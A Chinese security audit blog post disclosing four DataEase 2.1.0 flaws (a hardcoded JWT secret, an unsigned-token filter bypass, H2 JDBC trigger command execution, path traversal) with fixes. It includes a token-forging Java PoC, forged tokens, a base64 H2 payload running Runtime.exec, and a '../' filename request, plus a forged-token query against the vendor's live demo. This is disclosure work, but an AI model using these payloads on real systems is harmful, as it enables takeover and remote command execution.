dataease-2.1.0 代码审计

**found by:unam4 、SpringKill **

https://github.com/unam4

https://github.com/springkill

请为下面4 个问题分配cve,这对我们非常重要。

0x01 Jwt 伪造

代码分析

io.dataease.substitute.permissions.login.SubstituleLoginServer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class SubstituleLoginServer {

@PostMapping("/login/localLogin")
public TokenVO localLogin(PwdLoginDTO dto) {
TokenUserBO tokenUserBO = new TokenUserBO();
tokenUserBO.setUserId(1L);
tokenUserBO.setDefaultOid(1L);
String md5Pwd = "83d923c9f1d8fcaa46cae0ed2aaa81b5";
return generate(tokenUserBO, md5Pwd);
}


@GetMapping("/logout")
public void logout() {
LogUtil.info("substitule logout");
}

private TokenVO generate(TokenUserBO bo, String secret) {
Algorithm algorithm = Algorithm.HMAC256(secret);
Long userId = bo.getUserId();
Long defaultOid = bo.getDefaultOid();
JWTCreator.Builder builder = JWT.create();
builder.withClaim("uid", userId).withClaim("oid", defaultOid);
String token = builder.sign(algorithm);
return new TokenVO(token, 0L);
}
}

这里直接把jwt的secret 硬编码在代码里面,而且uid,和oid写死了。

也就是攻击者可以直随便伪造jwt接管服务。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package io.dataease;

import com.auth0.jwt.JWT;
import com.auth0.jwt.JWTCreator;
import com.auth0.jwt.algorithms.Algorithm;
import io.dataease.api.permissions.login.api.LoginApi;
import io.dataease.auth.vo.TokenVO;

public class jwt {
public static void main(String[] args) {
// 设置密钥
String secret = "83d923c9f1d8fcaa46cae0ed2aaa81b5";
Algorithm algorithm = Algorithm.HMAC256(secret);

// 设置用户ID和默认OID
Long userId = 1L;
Long defaultOid = 1L;

// 创建 JWT 构建器并添加声明
JWTCreator.Builder builder = JWT.create();
builder.withClaim("uid", 1).withClaim("oid", 1).withClaim("exp",99999999999L);

// 生成 JWT
String token = builder.sign(algorithm);

// 输出生成的 JWT
System.out.println("X-DE-TOKEN: "+token);
}
}


image-20240921022235530

生成的jwt

1
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjo5OTk5OTk5OTk5OX0.okytUClKBAHbww_C3ZZTINTUtbQSSE9ILJwhbIBr_cY

验证

这里直接使用官网demo做演示,

1
2
3
4
curl 'https://demo.dataease.cn/de2api/datasource/hidePw/985188400292302848' \
-H 'Accept: application/json, text/plain, */*' \
-H 'Accept-Language: zh-CN' \
-H 'X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjo5OTk5OTk5OTk5OX0.okytUClKBAHbww_C3ZZTINTUtbQSSE9ILJwhbIBr_cY'

image-20240921022517272

直接获取官网demo的数据库配置。

也就是我登陆的时候随便填写,把登陆接口的数据返回包修改若下,即可进入系统

1
{"code":0,"msg":null,"data":{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjo5OTk5OTk5OTk5OX0.okytUClKBAHbww_C3ZZTINTUtbQSSE9ILJwhbIBr_cY","exp":99999999999}}

image-20240921024616663

随便填写

image-20240921024630809

拦截返回包改为生成的

image-20240921024651031

修改后放包

https://demo.dataease.cn/#/login?redirect=/workbranch/index

由于抓包很卡,刷新后,进入系统。

image-20240921025331862

修复

​ jwt密钥不要硬编码在代码里,写在application.yml, 采用动态生成jwt密钥。 或者置空,提示用户自动填写。

0x02 filter 绕过

注意和jwt伪造不是一个漏洞

分析

io.dataease.auth.filter.TokenFilter

io.dataease.auth.filter.TokenFilter#doFilter

image-20240923130320872

image-20240923130338224

image-20240923130635253

image-20240923130410307

从head里面获取X-DE-TOKEN,或者X-DE-LINK-TOKEN字段

image-20240923130503330

io.dataease.utils.TokenUtils#userBOByToken

image-20240923130808761

直接直接队jwt进行decode,并获取uid,oid,没有进行验证签名,也没验证时间戳,导致可绕过filter检测,访问后台api。

image-20240923132032746

修改后的jwt,没校验签名,可以直接解码成功。绕过filter。

复现

image-20240923131645470

正常的jwt

image-20240923131721407

修改jwt第二段的

image-20240923131752588

使用修改后的第二段替换,可以看见没有修改第三段的签名信息,还是可以反问

1
2
3
4
5
6
7
8
9
10
11
12
GET /de2api/engine/getEngine  HTTP/1.1
Host: 10.211.55.14:8100
Accept: application/json, text/plain, */*
out_auth_platform: default
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxfQ.5ucGCcq8U0IZXxMs_CuaDpbqdRbDaKUCal9lPmZIF0Q
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Referer: http://10.211.55.14:8100/
Accept-Encoding: gzip, deflate, br
Connection: close


修复方案

​ filter验证jwt时,采用验证第三段签名形式。

0x03 命令执行漏洞

io.dataease.api.ds.DatasourceApi#getSchema

image-20240927162328730

io.dataease.datasource.server.DatasourceServer#getSchema

image-20240927162406273

根据闯入的数据库类型得到Provider

io.dataease.datasource.provider.CalciteProvider#getSchema

image-20240927162515451

创建jdbc链接

image-20240927163919812

这里会调用h2

image-20240927163935850

在这里创建链接

image-20240927164019483

H2 没有做任何依赖,导致可以执行任意命令

复现

image-20240927164822053

构造恶意数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /de2api/datasource/getSchema HTTP/1.1
Host: 10.211.55.14:8100
Content-Length: 697
Accept: application/json, text/plain, */*
out_auth_platform: default
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxNzI3NDI1NzMyfQ.6MKjuIlVOX3gORJW9T9TwDQp59hP3J5DCNnHqiRqLes
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Content-Type: application/json
Origin: http://192.168.108.145:8100
Referer: http://192.168.108.145:8100/
Accept-Encoding: gzip, deflate, br
Connection: close

{"id":"","name":"test","description":"test","type":"h2","apiConfiguration":[],"paramsConfiguration":[],"enableDataFill":false,"configuration":"eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0O01PREU9TVNTUUxTZXJ2ZXI7aW5pdD1DUkVBVEUgVFJJR0dFUiBVTkFNNCBCRUZPUkUgU0VMRUNUIE9OXG5JTkZPUk1BVElPTl9TQ0hFTUEuVEFCTEVTIEFTICQkIHZvaWQgVU5BTTQoKSB0aHJvd3MgRXhjZXB0aW9ueyBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKFwidG91Y2ggL3RtcC9kZWFkYmVlZlwiKVxcO30kJCIsInVybFR5cGUiOiJqZGJjVXJsIiwic3NoVHlwZSI6InBhc3N3b3JkIiwiZXh0cmFQYXJhbXMiOiIiLCJ1c2VybmFtZSI6IiIsInBhc3N3b3JkIjoiIiwiaG9zdCI6IiIsImF1dGhNZXRob2QiOiIiLCJwb3J0IjowLCJpbml0aWFsUG9vbFNpemUiOjUsIm1pblBvb2xTaXplIjo1LCJtYXhQb29sU2l6ZSI6NSwicXVlcnlUaW1lb3V0IjozMH0="}

成果过滤

修复方案

     对jdbc的CREATE Trigger 过过滤。

0x04 目录穿越(可忽略)

后缀写死了,造成不了大危害。

image-20240921152348970

io.dataease.dataset.server.DatasetTreeServer#exportDataset

image-20240921152415482

调用exportCenterManage.addTask

image-20240921152437301

这里直接获取request.getFilename(),没有过滤../ 导致可目录穿越。

进过一系列处理来到

io.dataease.exportCenter.manage.ExportCenterManage#startDatasetTask

image-20240921152553543

这里会创建文件,由于没有过滤../。导致可以写入到任意路径。

复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /de2api/datasetTree/exportDataset HTTP/1.1
Host: 10.211.55.14:8100
Content-Length: 135
Accept: application/json, text/plain, */*
out_auth_platform: default
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxNzI2OTAwMTc1fQ.NQKikkCXM50NofZcr0WuEJc41_eJVMbdznyBqvb1Ukw
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Content-Type: application/json
Origin: http://10.211.55.14:8100
Referer: http://10.211.55.14:8100/
Accept-Encoding: gzip, deflate, br
Connection: close

{"id":"985189703189925888","row":100000,"filename":"../../../../../../tmp/deadbeef","expressionTree":"{\"items\":[],\"logic\":\"or\"}"}

发送数据包

可以看创建。

image-20240921152820766

image-20240921152935295

创建成功。

修复方案

对../,..\\ 过滤


dataease-2.1.0 代码审计
https://unam4.github.io/2025/12/01/dataease-2-1-0-代码审计/
作者
unam4
发布于
2025年12月1日
许可协议